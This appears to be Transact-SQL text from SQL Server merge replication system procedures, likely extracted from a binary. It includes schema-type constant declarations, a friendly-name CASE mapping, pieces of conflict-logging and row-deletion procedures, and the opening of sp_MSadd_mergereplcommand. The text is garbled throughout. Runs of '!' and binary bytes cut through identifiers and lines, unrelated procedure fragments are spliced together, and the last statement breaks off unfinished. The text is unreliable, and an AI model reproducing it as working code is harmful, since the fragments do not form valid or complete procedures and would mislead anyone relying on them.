    declare @SCHEMA_TYPE_INCREMENTALSNAPSHOTCOMPRESSED int
    declare @SCHEMA_TYPE_INCREMENTALFTPLOGIN int
    declare @SCHEMA_TYPE_INCREMENTALFTPPASSWORD int
    declare @SCHEMA_TYPE_CHANGE_MERGE_PUBLICATION_90RTM int
    declare @SCHEMA_TYPE_CHANGE_MERGE_ARTICLE_90RTM int
    declare @SCHEMA_TYPE_USER_DEFINED_TABLE_TYPE int

    set @SCHEMA_TYPE_SQLCOMMAND             = 1 
    set @SCHEMA_TYPE_SCHEMASCRIPT           = 2 
    set @SCHEMA_TYPE_NATIVEBCP              = 3
    set @SCHEMA_TYPE_CHARACTERBCP           = 4
    set @SCHEMA_TYPE_LASTRECGEN         = 5
    set @SCHEMA_TYPE_LASTSENTGEN        = 6
    set @SCHEMA_TYPE_DIRECTORY              = 7 
    set @SCHEMA_TYPE_PRIORITYCHANGE     = 8     
    set @SCHEMA_TYPE_RETENTIONCHANGE    = 9
    set @SCHEMA_TYPE_TRIGGERSCRIPT          = 10        
    set @SCHEMA_TYPE_ALTERTABLE             = 11
    set @SCHEMA_TYPE_REINITALL              = 12
    set @SCHEMA_TYPE_NONSQLALTERTABLE   = 13
    set @SCHEMA_TYPE_REINITWITHUPLOAD   = 14
    set @SCHEMA_TYPE_DRISCRIPT              = 15        
    set @SCHEMA_TYPE_METADATACLEANUP    = 16
    set @SCHEMA_TYPE_UPDATELASTSENTGEN  = 17
    set @SCHEMA_TYPE_BACKWARD_COMPAT_LEVEL = 18
    set @SCHEMA_TYPE_VALIDATE_SUBSCRIBERINFO = 19
    set @SCHEMA_TYPE_WELLPARTITIONED = 20
    set @SCHEMA_TYPE_ARTICLERESOLVER = 21
    set @SCHEMA_TYPE_ARTICLEPROCESSINGORDER = 22
    set @SCHEMA_TYPE_PUBLISHED_IN_TRANPUB = 23
    set @SCHEMA_TYPE_COMPENSATE_FOR_ERRORS = 24
    set @SCHEMA_TYPE_ALTSNAPSHOTFOLDER = 25
    set @SCHEMA_TYPE_UPLOADOPTIONS = 26
    set @SCHEMA_TYPE_DELETETRACKING = 27
    set @SCHEMA_TYPE_DROPARTICLE = 28
    set @SCHEMA_TYPE_RETENTIONUNITCHANGE = 29
    set @SCHEMA_TYPE_USER_SCHEMA = 31
    set @SCHEMA_TYPE_PRESNAPSHOTSCRIPT = 40
    set @SCHEMA_TYPE_POSTSNAPSHOTSCRIPT = 45
    set @SCHEMA_TYPE_ONDEMANDUSERSCRIPT = 46
    set @SCHEMA_TYPE_MERGEPROCEDURESCRIPT = 48
    set @SCHEMA_TYPE_SNAPSHOTHEADERBEGIN = 50
    set @SCHEMA_TYPE_SNAPSHOTHEADEREND = 51
    set @SCHEMA_TYPE_SNAPSHOTTRAILER = 52
    set @SCHEMA_TYPE_FTPADDRESS = 53
    set @SCHEMA_TYPE_FTPPORT = 54
    set @SCHEMA_TYPE_FTPSUBDIR = 55
    set @SCHEMA_TYPE_SNAPSHOTCOMPRESSED = 56
    set @SCHEMA_TYPE_FTPLOGIN = 57
    set @SCHEMA_TYPE_FTPPASSWORD = 58
    set @SCHEMA_TYPE_SYSPRESCRIPT = 60
    set @SCHEMA_TYPE_PROCSCHEMA = 61
    set @SCHEMA_TYPE_VIEWSCHEMA = 62
    set @SCHEMA_TYPE_UDFSCHEMA = 63
    set @SCHEMA_TYPE_VIEWINDEXES = 64
    set @SCHEMA_TYPE_EXTENDEDPROPERTIES = 65
    set @SCHEMA_TYPE_VALIDATE = 66
    set @SCHEMA_TYPE_PRESNAPSHOTSQLCOMMAND = 67
    set @SCHEMA_TYPE_DYNSNAPVALIDATION = 71
    set @SCHEMA_TYPE_SYSTABLE_NATIVE_BCP_90 = 80
    set @SCHEMA_TYPE_SYSTABLE_CHAR_BCP_90 = 81
    set @SCHEMA_TYPE_SYSTABLE_NATIVE_BCP_90_FORGLOBALONLY = 82
    set @SCHEMA_TYPE_SYSTABLE_CHAR_BCP_90_FORGLOBALONLY = 83
    set @SCHEMA_TYPE_SYSTABLE_NATIVE_BCP_90_FORLIGHTWEIGHT = 84
    set @SCHEMA_TYPE_SYSTABLE_CHAR_BCP_90_FORLIGHTWEIGHT = 85
    set @SCHEMA_TYPE_USER_DEFINED_DATA_TYPE = 88
    set @SCHEMA_TYPE_CLR_USER_DEFINED_DATA_TYPE = 89
    set @SCHEMA_TYPE_ASSEMBLY = 90
    set @SCHEMA_TYPE_PARTITIONSCHEME = 91
    set @SCHEMA_TYPE_PARTITIONFUNCTION = 92
    set @SCHEMA_TYPE_XMLSCHEMANAMESPACE = 93
    set @SCHEMA_TYPE_FULLTEXTCATALOG = 96
    set @SCHEMA_TYPE_SYNONYM = 100
    set @SCHEMA_TYPE_USER_DEFINED_TABLE_TYPE = 105
    set @SCHEMA_TYPE_DYNAMICBCPBIT = 128
    set @!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(ev
YSCHEMA_TYPE_DYNAMICNATIVEBCP = 131
    set @SCHEMA_TYPE_DYNAMICCHARBCP = 132
    set @SCHEMA_TYPE_DYNAMIC_SYSTABLE_NATIVE_BCP_90 = 208
    set @SCHEMA_TYPE_DYNAMIC_SYSTABLE_CHAR_BCP_90 = 209
    set @SCHEMA_TYPE_DYNAMIC_SYSTABLE_NATIVE_BCP_90_FORGLOBALONLY = 210
    set @SCHEMA_TYPE_DYNAMIC_SYSTABLE_CHAR_BCP_90_FORGLOBALONLY = 211
    set @SCHEMA_TYPE_DYNAMIC_SYSTABLE_NATIVE_BCP_90_FORLIGHTWEIGHT = 212
    set @SCHEMA_TYPE_DYNAMIC_SYSTABLE_CHAR_BCP_90_FORLIGHTWEIGHT = 213
    set @SCHEMA_TYPE_DDL_ACTIONS = 300
    set @SCHEMA_TYPE_DDL_RELATED_COLUMN_FIXUP = 301
    set @SCHEMA_TYPE_CHANGE_MERGE_PUBLICATION_90RTM = 302
    set @SCHEMA_TYPE_CHANGE_MERGE_ARTICLE_90RTM = 303
    set @SCHEMA_TYPE_INCREMENTALSNAPSHOTCONTROL = 1024
    set @SCHEMA_TYPE_INCREMENTALALTSNAPSHOTFOLDER = 1049
    set @SCHEMA_TYPE_INCREMENTALSNAPSHOTHEADERBEGIN = 1074
    set @SCHEMA_TYPE_INCREMENTALSNAPSHOTHEADEREND = 1075
    set @SCHEMA_TYPE_INCREMENTALSNAPSHOTTRAILER = 1076
    set @SCHEMA_TYPE_INCREMENTALFTPADDRESS = 1077
    set @SCHEMA_TYPE_INCREMENTALFTPPORT = 1078
    set @SCHEMA_TYPE_INCREMENTALFTPSUBDIR = 1079
    set @SCHEMA_TYPE_INCREMENTALSNAPSHOTCOMPRESSED = 1080
    set @SCHEMA_TYPE_INCREMENTALFTPLOGIN = 1081
    set @SCHEMA_TYPE_INCREMENTALFTPPASSWORD = 1082


    --enum of constants
    declare  @schemasubtype_addcolumn int
            ,@schemasubtype_dropcolumn int
            ,@schemasubtype_altercolumn int
            ,@schemasubtype_disabletrigger int
            ,@schemasubtype_enabletrigger int
            ,@schemasubtype_disabletriggerall int
            ,@schemasubtype_enabletriggerall int
            ,@schemasubtype_dropconstraint int
            ,@schemasubtype_enableconstraint int
            ,@schemasubtype_disableconstraint int
            ,@schemasubtype_enableconstraintall int
            ,@schemasubtype_disableconstraintall int
            ,@schemasubtype_addfk int
            ,@schemasubtype_addun int
            ,@schemasubtype_addchk int
            ,@schemasubtype_adddf int
            ,@schemasubtype_addpk int

    select @schemasubtype_addcolumn = 1 					    --N'ADDCOLUMN'
        ,@schemasubtype_dropcolumn =  2 					    --N'DROPCOLUMN'
        ,@schemasubtype_altercolumn = 3 					    --N'ALTERCOLUMN'
        ,@schemasubtype_addpk = 4							    --N'ADDPRIMARYKEY'
        ,@schemasubtype_addun = 5							    --N'ADDUNIQUE'
        ,@schemasubtype_addfk = 6				                --N'ADDREFERENCE'
        ,@schemasubtype_dropconstraint = 7  			        --N'DROPCONSTRAINT'
        ,@schemasubtype_adddf = 8       						--N'ADDDEFAULT'
        ,@schemasubtype_addchk = 9  							--N'ADDCHECK'
        ,@schemasubtype_disabletrigger = 10 				    --N'DISABLETRIGGER'
        ,@schemasubtype_enabletrigger = 11		    		    --N'ENABLETRIGGER'
        ,@schemasubtype_disabletriggerall = 12		            --N'DISABLETRIGGER'
        ,@schemasubtype_enabletriggerall = 13       	        --N'ENABLETRIGGER'
        ,@schemasubtype_enableconstraint = 14   		        --N'ENABLECONSTRAINT'
        ,@schemasubtype_disableconstraint = 15  		        --N'DISABLECONSTRAINT'
        ,@schemasubtype_enableconstraintall = 16    	        --N'ENABLECONSTRAINT'
        ,@schemasubtype_disableconstraintall = 17   	        --N'DISABLECONSTRAINT'

    select @friendly_schematype = case @schematype
    when @SCHEMA_TYPE_SQLCOMMAND then 'SCHEMA_TYPE_SQLCOMMAND'
    when @SCHEMA_TYPE_SCHEMASCRIPT then 'SCHEMA_TYPE_SCHEMASCRIPT'      
    when @SCHEMA_TYPE_NATIVEBCP then 'SCHEMA_TYPE_NATIVEBCP'
    when @SCHEMA_TYPE_CHARACTERBCP then 'SCHEMA_TYPE_CHARACTERBCP'
    when @SCHEMA_TYPE_LASTRECGEN then 'SCHEMA_TYPE_LASTRECGEN'
    when @SCHEMA_TYPE_LASTSENTGEN then 'SCHEMA_TYPE_LASTSENTGEN'
    when @SCHEMA_TYPE_DIRECTORY then 'SCHEMA_TYPE_DIRECTORY'
    when @SCHEMA_TYPE_PRIORITYCHANGE then 'SCHEMA_TYPE_PRIORITYCHANGE'
    when @SCHEMA_TYPE_RETENTIONCHANGE  then 'SCHEMA_TYPE_RETENTIONCHANGE'
    when @SCHEMA_TYPE_TRIGGERSCRIPT         then 'SCHEMA_TYPE_TRIGGERSCRIPT'    
    when @SCHEMA_TYPE_ALTERTABLE                    then 'SCHEMA_TYPE_ALTERTABLE'
    when @SCHEMA_TYPE_REINITALL             then 'SCHEMA_TYPE_REINITALL'
    when @SCHEMA_TYPE_NONSQLALTERTABLE   then 'SCHEMA_TYPE_NONSQLALTERTABLE'
    when @SCHEMA_TYPE_REINITWITHUPLOAD   then 'SCHEMA_TYPE_REINITWITHUPLOAD'
    when @SCHEMA_TYPE_DRISCRIPT                     then 'SCHEMA_TYPE_DRISCRIPT'        
    when @SCHEMA_TYPE_METADATACLEANUP    then 'SCHEMA_TYPE_METADATACLEANUP'
    when @SCHEMA_TYPE_UPDATELASTSENTGEN  then 'SCHEMA_TYPE_UPDATELASTSENTGEN'
    when @SCHEMA_TYPE_BACKWARD_COMPAT_LEVEL then 'SCHEMA_TYPE_BACKWARD_COMPAT_LEVEL'
    when @SCHEMA_TYPE_VALIDATE_SUBSCRIBERINFO then 'SCHEMA_TYPE_VALIDATE_SUBSCRIBERINFO'
    when @SCHEMA_TYPE_WELLPARTITIONED then 'SCHEMA_TYPE_WELLPARTITIONED'
    when @SCHEMA_TYPE_ARTICLERESOLVER then 'SCHEMA_TYPE_ARTICLERESOLVER'
    when @SCHEMA_TYPE_ARTICLEPROCESSINGORDER then 'SCHEMA_TYPE_ARTICLEPROCESSINGORDER'
    when @SCHEMA_TYPE_PUBLISHED_IN_TRANPUB then 'SCHEMA_TYPE_PUBLISHED_IN_TRANPUB'
    when @SCHEMA_TYPE_COMPENSATE_FOR_ERRORS then 'SCHEMA_TYPE_COMPENSATE_FOR_ERRORS'
    when @SCHEMA_TYPE_ALTSNAPSHOTFOLDER then 'SCHEMA_TYPE_ALTSNAPSHOTFOLDER'
    when @SCHEMA_TYPE_UPLOADOPTIONS then 'SCHEMA_TYPE_UPLOADOPTIONS'
    when @SCHEMA_TYPE_DELETETRACKING then 'SCHEMA_TYPE_DELETETRACKING'
    when @SCHEMA_TYPE_DROPARTICLE then 'SCHEMA_TYPE_DROPARTICLE'
    when @SCHEMA_TYPE_RETENTIONUNITCHANGE then 'SCHEMA_TYPE_RETENTIONUNITCHANGE'
    when @SCHEMA_TYPE_USER_SCHEMA then 'SCHEMA_TYPE_USER_SCHEMA'
    when @SCHEMA_TYPE_PRESNAPSHOTSCRIPT then 'SCHEMA_TYPE_PRESNAPSHOTSCRIPT'
    when @SCHEMA_TYPE_POSTSNAPSHOTSCRIPT then 'SCHEMA_TYPE_POSTSNAPSHOTSCRIPT'
    when @SCHEMA_TYPE_ONDEMANDUSERSCRIPT then 'SCHEMA_TYPE_ONDEMANDUSERSCRIPT'
    when @SCHEMA_TYPE_MERGEPROCEDURESCRIPT then 'SCHEMA_TYPE_MERGEPROCEDURESCRIPT'
    when @SCHEMA_TYPE_SNAPSHOTHEADERBEGIN then 'SCHEMA_TYPE_SNAPSHOTHEADERBEGIN'
    when @SCHEMA_TYPE_SNAPSHOTHEADEREND then 'SCHEMA_TYPE_SNAPSHOTHEADEREND'
    when @SCHEMA_TYPE_SNAPSHOTTRAILER then 'SCHEMA_TYPE_SNAPSHOTTRAILER'
    when @SCHEMA_TYPE_FTPADDRESS then 'SCHEMA_TYPE_FTPADDRESS'
    when @SCHEMA_TYPE_FTPPORT then 'SCHEMA_TYPE_FTPPORT'
    when @SCHEMA_TYPE_FTPSUBDIR then 'SCHEMA_TYPE_FTPSUBDIR'
    when @SCHEMA_TYPE_SNAPSHOTCOMPRESSED then 'SCHEMA_TYPE_SNAPSHOTCOMPRESSED'
    when @SCHEMA_TYPE_FTPLOGIN then 'SCHEMA_TYPE_FTPLOGIN'
    when @SCHEMA_TYPE_FTPPASSWORD then 'SCHEMA_TYPE_FTPPASSWORD'
    when @SCHEMA_TYPE_SYSPRESCRIPT then 'SCHEMA_TYPE_SYSPRESCRIPT'
    when @SCHEMA_TYPE_PROCSCHEMA then 'SCHEMA_TYPE_PROCSCHEMA'
    when @SCHEMA_TYPE_VIEWSCHEMA then 'SCHEMA_TYPE_VIEWSCHEMA'
    when @SCHEMA_TYPE_UDFSCHEMA then 'SCHEMA_TYPE_UDFSCHEMA'
    when @SCHEMA_TYPE_VIEWINDEXES then 'SCHEMA_TYPE_VIEWINDEXES'
    when @SCHEMA_TYPE_EXTENDEDPROPERTIES then 'SCHEMA_TYPE_EXTENDEDPROPERTIES'
    when @SCHEMA_TYPE_VALIDATE then 'SCHEMA_TYPE_VALIDATE'
    when @SCHEMA_TYPE_PRESNAPSHOTSQLCOMMAND then 'SCHEMA_TYPE_PRESNAPSHOTSQLCOMMAND'
    when @SCHEMA_TYPE_DYNSNAPVALIDATION then 'SCHEMA_TYPE_DYNSNAPVALIDATION'
    when @SCHEMA_TYPE_SYSTABLE_NATIVE_BCP_90 then 'SCHEMA_TYPE_SYSTABLE_NATIVE_BCP_90'
    when @SCHEMA_TYPE_SYSTABLE_CHAR_BCP_90 then 'SCHEMA_TYPE_SYSTABLE_CHAR_BCP_90'
    when @SCHEMA_TYPE_SYSTABLE_NATIVE_BCP_90_FORGLOBALONLY then 'SCHEMA_TYPE_SYSTABLE_NATIVE_BCP_90_FORGLOBALONLY'
    when @SCHEMA_TYPE_SYSTABLE_CHAR_BCP_90_FORGLOBALONLY then 'SCHEMA_TYPE_SYSTABLE_CHAR_BCP_90_FORGLOBALONLY'
    when @SCHEMA_TYPE_SYSTABLE_NATIVE_BCP_90_FORLIGHTWEIGHT then 'SCHEMA_TYPE_SYSTABLE_NATIVE_BCP_90_FORLIGHTWEIGHT'
    when @SCHEMA_TYPE_SYSTABLE_CHAR_BCP_90_FORLIGHTWEIGHT then 'SCHEMA_TYPE_SYSTABLE_CHAR_BCP_90_FORLIGHTWEIGHT'
    when @SCHEMA_TYPE_USER_DEFINED_DATA_TYPE then 'SCHEMA_TYPE_USER_DEFINED_DATA_TYPE'
    when @SCHEMA_TYPE_CLR_USER_DEFINED_DATA_TYPE then 'SCHEMA_TYPE_CLR_USER_DEFINED_DATA_TYPE'
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<1	
BϿ
Y    when @SCHEMA_TYPE_ASSEMBLY then 'SCHEMA_TYPE_ASSEMBLY'
    when @SCHEMA_TYPE_PARTITIONSCHEME then 'SCHEMA_TYPE_PARTITIONSCHEME'
    when @SCHEMA_TYPE_PARTITIONFUNCTION then 'SCHEMA_TYPE_PARTITIONFUNCTION'
    when @SCHEMA_TYPE_XMLSCHEMANAMESPACE then 'SCHEMA_TYPE_XMLSCHEMANAMESPACE'
    when @SCHEMA_TYPE_FULLTEXTCATALOG then 'SCHEMA_TYPE_FULLTEXTCATALOG'
    when @SCHEMA_TYPE_SYNONYM then 'SCHEMA_TYPE_SYNONYM'
    when @SCHEMA_TYPE_USER_DEFINED_TABLE_TYPE then 'SCHEMA_TYPE_USER_DEFINED_TABLE_TYPE'
    when @SCHEMA_TYPE_DYNAMICBCPBIT then 'SCHEMA_TYPE_DYNAMICBCPBIT'
    when @SCHEMA_TYPE_DYNAMICNATIVEBCP then 'SCHEMA_TYPE_DYNAMICNATIVEBCP'
    when @SCHEMA_TYPE_DYNAMICCHARBCP then 'SCHEMA_TYPE_DYNAMICCHARBCP'
    when @SCHEMA_TYPE_DYNAMIC_SYSTABLE_NATIVE_BCP_90 then 'SCHEMA_TYPE_DYNAMIC_SYSTABLE_NATIVE_BCP_90'
    when @SCHEMA_TYPE_DYNAMIC_SYSTABLE_CHAR_BCP_90 then 'SCHEMA_TYPE_DYNAMIC_SYSTABLE_CHAR_BCP_90'
    when @SCHEMA_TYPE_DYNAMIC_SYSTABLE_NATIVE_BCP_90_FORGLOBALONLY then 'SCHEMA_TYPE_DYNAMIC_SYSTABLE_NATIVE_BCP_90_FORGLOBALONLY'
    when @SCHEMA_TYPE_DYNAMIC_SYSTABLE_CHAR_BCP_90_FORGLOBALONLY then 'SCHEMA_TYPE_DYNAMIC_SYSTABLE_CHAR_BCP_90_FORGLOBALONLY'
    when @SCHEMA_TYPE_DYNAMIC_SYSTABLE_NATIVE_BCP_90_FORLIGHTWEIGHT then 'SCHEMA_TYPE_DYNAMIC_SYSTABLE_NATIVE_BCP_90_FORLIGHTWEIGHT'
    when @SCHEMA_TYPE_DYNAMIC_SYSTABLE_CHAR_BCP_90_FORLIGHTWEIGHT then 'SCHEMA_TYPE_DYNAMIC_SYSTABLE_CHAR_BCP_90_FORLIGHTWEIGHT'
    when @SCHEMA_TYPE_DDL_ACTIONS then 
        case @schemasubtype 
            when @schemasubtype_addcolumn then 'SCHEMA_TYPE_DDL_ACTIONS_ADDCOLUMN'
            when @schemasubtype_dropcolumn then 'SCHEMA_TYPE_DDL_ACTIONS_DROPCOLUMN'
            when @schemasubtype_altercolumn then 'SCHEMA_TYPE_DDL_ACTIONS_ALTERCOLUMN'
            when @schemasubtype_addpk then 'SCHEMA_TYPE_DDL_ACTIONS_ADDPRIMARYKEY'
            when @schemasubtype_addun then 'SCHEMA_TYPE_DDL_ACTIONS_ADDUNIQUE'
            when @schemasubtype_addfk then 'SCHEMA_TYPE_DDL_ACTIONS_ADDREFERENCE'
            when @schemasubtype_dropconstraint then 'SCHEMA_TYPE_DDL_ACTIONS_DROPCONSTRAINT'
            when @schemasubtype_adddf then 'SCHEMA_TYPE_DDL_ACTIONS_ADDDEFAULT'
            when @schemasubtype_addchk then 'SCHEMA_TYPE_DDL_ACTIONS_ADDCHECK'
            when @schemasubtype_disabletrigger then 'SCHEMA_TYPE_DDL_ACTIONS_DISABLETRIGGER'
            when @schemasubtype_enabletrigger then 'SCHEMA_TYPE_DDL_ACTIONS_ENABLETRIGGER'
            when @schemasubtype_disabletriggerall then 'SCHEMA_TYPE_DDL_ACTIONS_DISABLETRIGGER'
            when @schemasubtype_enabletriggerall then 'SCHEMA_TYPE_DDL_ACTIONS_ENABLETRIGGER'
            when @schemasubtype_enableconstraint then 'SCHEMA_TYPE_DDL_ACTIONS_ENABLECONSTRAINT'
            when @schemasubtype_disableconstraint then 'SCHEMA_TYPE_DDL_ACTIONS_DISABLECONSTRAINT'
            when @schemasubtype_enableconstraintall then 'SCHEMA_TYPE_DDL_ACTIONS_ENABLECONSTRAINT'
            when @schemasubtype_disableconstraintall then 'SCHEMA_TYPE_DDL_ACTIONS_DISABLECONSTRAINT'
            else 'SCHEMA_TYPE_DDL_ACTIONS'
        end
    when @SCHEMA_TYPE_DDL_RELATED_COLUMN_FIXUP then 'SCHEMA_TYPE_DDL_RELATED_COLUMN_FIXUP'
    when @SCHEMA_TYPE_CHANGE_MERGE_PUBLICATION_90RTM then 'SCHEMA_TYPE_CHANGE_MERGE_PUBLICATION_90RTM'
    when @SCHEMA_TYPE_CHANGE_MERGE_ARTICLE_90RTM then 'SCHEMA_TYPE_CHANGE_MERGE_ARTICLE_90RTM'
    when @SCHEMA_TYPE_INCREMENTALSNAPSHOTCONTROL then 'SCHEMA_TYPE_INCREMENTALSNAPSHOTCONTROL'
    when @SCHEMA_TYPE_INCREMENTALALTSNAPSHOTFOLDER then 'SCHEMA_TYPE_INCREMENTALALTSNAPSHOTFOLDER'
    when @SCHEMA_TYPE_INCREMENTALSNAPSHOTHEADERBEGIN then 'SCHEMA_TYPE_INCREMENTALSNAPSHOTHEADERBEGIN'
    when @SCHEMA_TYPE_INCREMENTALSNAPSHOTHEADEREND then 'SCHEMA_TYPE_INCREMENTALSNAPSHOTHEADEREND'
    when @SCHEMA_TYPE_INCREMENTALSNAPSHOTTRAILER then 'SCHEMA_TYPE_INCREMENTALSNAPSHOTTRAILER'
    when @SCHEMA_TYPE_INCREMENTALFTPADDRESS then 'SCHEMA_TYPE_INCREMENTALFTPADDRESS'
    when @SCHEMA_TYPE_INCREMENTALFTPPORT then 'SCHEMA_TYPE_INCREMENTALFTPPORT'
    when @SCHEMA_TYPE_INCREMENTALFTPSUBDIR then 'SCHEMA_TYPE_INCREMENTALFTPSUBDIR'
    when @SCHEMA_TYPE_INCREMENTALSNAPSHOTCOMPRESSED then 'SCHEMA_TYPE_INCREMENTALSNAPSHOTCOMPRESSED'
    when @SCHEMA_TYPE_INCREMENTALFTPLOGIN then 'SCHEMA_TYPE_INCREMENTALFTPLOGIN'
    when @SCHEMA_TYPE_INCREMENTALFTPPASSWORD then 'SCHEMA_TYPE_INCREMENTALFTPPASSWORD'
    else 'SCHEMA_TYPE_INVALID'
    end
    return @friendly_schematype
end
) with (rowlock) 
            set conflict_type=@conflict_type, 
                reason_code=@reason_code,
                reason_text=@reason_text,
                pubid=@pubid,
                MSrepl_create_time=@create_time
            where tablenick=@tablenick and rowguid=' + @guid_colname + ' and origin_datasource= ' + @original_datasourcecol + '
            and conflict_type not in (4,7,8,12)
    end
    else    
    begin
    
        insert MSmerge_conflicts_info with (rowlock) 
            values(@tablenick, ' + @guid_colname + ', ' + @original_datasourcecol
                + ', @conflict_type, @reason_code, @reason_text,  @pubid, @create_time, @source_id)
    end'            
insert into #tempcmd (phase, cmdtext) values (5, @header)

if 1 = @maintainsmetadata
begin
    exec sys.sp_MScreatedupkeyupdatequery
            @tablename= @qualifiedbasetable,
            @tablenickstr= @tablenickstr,
            @phase= 5,
            @isconflictproc= 1,
            @tablename2 = @qualifiedbasetable2
end

-- Now we select out the command text pieces in proper order so that our caller,
-- xp_execresultset will execute the command that creates the stored procedure.
select cmdtext from #tempcmd order by phase, step

drop table #tempcmd
drop table #coltab
GpGp    begin
        set @errcode= 0
        goto Failure
    end
        
    if 1 = @articleisupdateable and (@partition_options < 2 or @lineage_new is not null)
    begin
        -- call sp_MSsetrowmetadata with @compatlevel=90, because sp_MSdelrow
        -- already did the map-up if it is needed
        exec @retcode= sys.sp_MSsetrowmetadata 
             @tablenick, @rowguid, @generation, 
             @lineage_new, NULL, @new_metatype, NULL, 90, 
             @publication_number = @publication_number, @partition_id = @partition_id, 
             @partition_options = @partition_options
            
        IF @@ERROR<>0 or @retcode<>0
        begin
            set @errcode= 0
            goto Failure
        end
    end

    commit tran
    return(1)-- in sp_MSdelrow, 1=okay

Failure:
    rollback tran sp_MSdelrow
    commit tran
    return(@errcode)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!X!`<((ՂvL/
/* Add the replication command to the database - Used by snapshot */
create procedure sys.sp_MSadd_mergereplcommand (
    @publication        sysname,
    @article            sysname = NULL,
    @schematype         int,
    @schematext         nvarchar(2000),
    @tablename   sysname = NULL
    ) AS
    declare @schemaguid         uniqueidentifier
    declare @schemaversion      int
    declare @retcode            int
    declare @pubid              uniqueidentifier
    declare @artid              uniqueidentifier
    declare @objid  int
    
    /*
    ** Publish permission check
    */
    exec @retcode=sys.sp_MSreplcheck_publish
    if @retcode<>0 or @@ERROR<>0 return (1)
    
    if @publication IS NULL
    BEGIN
        RAISERROR (14003, 16, -1)
        RETURN (1)
    END

    select @pubid = pubid FROM dbo.sysmergepublications WHERE name = @publication and UPPER(publisher)=UPPER(publishingservername()) and publisher_db=db_name()
    select @artid = artid, @objid = objid FROM dbo.sysmergeextendedarticlesview WHERE name = @article and pubid = @pubid
    /* 
    ** For certain system tables that are bcped out such as MSmerge_contents 
    ** and dbo.MSmerge_tombstone use the article name as sys.objects.name and get
    ** sys.objects.object_id as the artid
    */
    if (@artid IS NULL) AND (@schematype <> 7)
    begin
        declare @binguid binary(16)
        set @binguid = OBJECT_ID(@article)
        set @artid = convert(uniqueidentifier, @binguid)
    end
    else if @tablename is not NULL and (@schematype <> 7)
    begin
        declare @binguid1 binary(8)
        declare @binguid2 binary(8)
        set @binguid1 = convert(binary(8),@objid)
        set @binguid2 = convert(binary(8),OBJECT_ID(@tablename))
        if @binguid2 is NULL
            set @artid = convert(uniqueidentifier, @binguid1)
        else
            set @artid = convert(uniqueidentifier, @binguid1+@binguid2)
    end

    /*
    ** When schematype is 89 SCHEMA_TYPE_CLR_USER_DEFINED_DATA_TYPE the article name is
    ** 		the user_type_id of the udt in string format. 
    ** When schematype is 91 SCHEMA_TYPE_PARTITIONSCHEME the article name is 
    ** 		the function_id of the partition_scheme
    ** When schematype is 92 SCHEMA_TYPE_PARTITIONFUNCTION the article name is 
    ** 		the function_id of the partition_scheme
    **Convert it to guid and use it as artid to
    ** identify the schema change.
    */

    if (@schematype in (88, 89, 90, 91, 92, 93, 96, 31, 105)) and (@article is not NULL)
    begin
        select @artid=convert(uniqueidentifier, convert(binary(16), @article))
    end

    /* now decide if we should insert a new schema change row or update an existing one. 0-insert, 1-update */
    declare @UPDATE_SCHEMACHANGE int     

    if exists (select * from dbo.sysmergeschemachange
            where pubid = @pubid 
            AND artid = @artid
            AND ((schematype = @schematype AND schematype <> 31) -- we need to insert new schema change for CREATE SCHEMA 
                    OR (@schematype in (3,4) and schematype in (3,4))  -- SCHEMA_TYPE_NATIVEBCP or SCHEMA_TYPE_CHARACTERBCP
                    OR (@schematype in (80,81) and schematype in (80,81))  -- SCHEMA_TYPE_SYSTABLE_NATIVE_BCP_90 or SCHEMA_TYPE_SYSTABLE_CHAR_BC_90
                    OR (@schematype in (82,83) and schematype in (82,83))  -- SCHEMA_TYPE_SYSTABLE_NATIVE_BCP_90_FORGLOBALONLY or SCHEMA_TYPE_SYSTABLE_CHAR_BC_90_FORGLOBALONLY
                    OR (@schematype in (84,85) and schematype in (84,85))  -- SCHEMA_TYPE_SYSTABLE_NATIVE_BCP_90_FORLIGHTWEIGHT or SCHEMA_TYPE_SYSTABLE_CHAR_BC_90_FORLIGHTWEIGHT
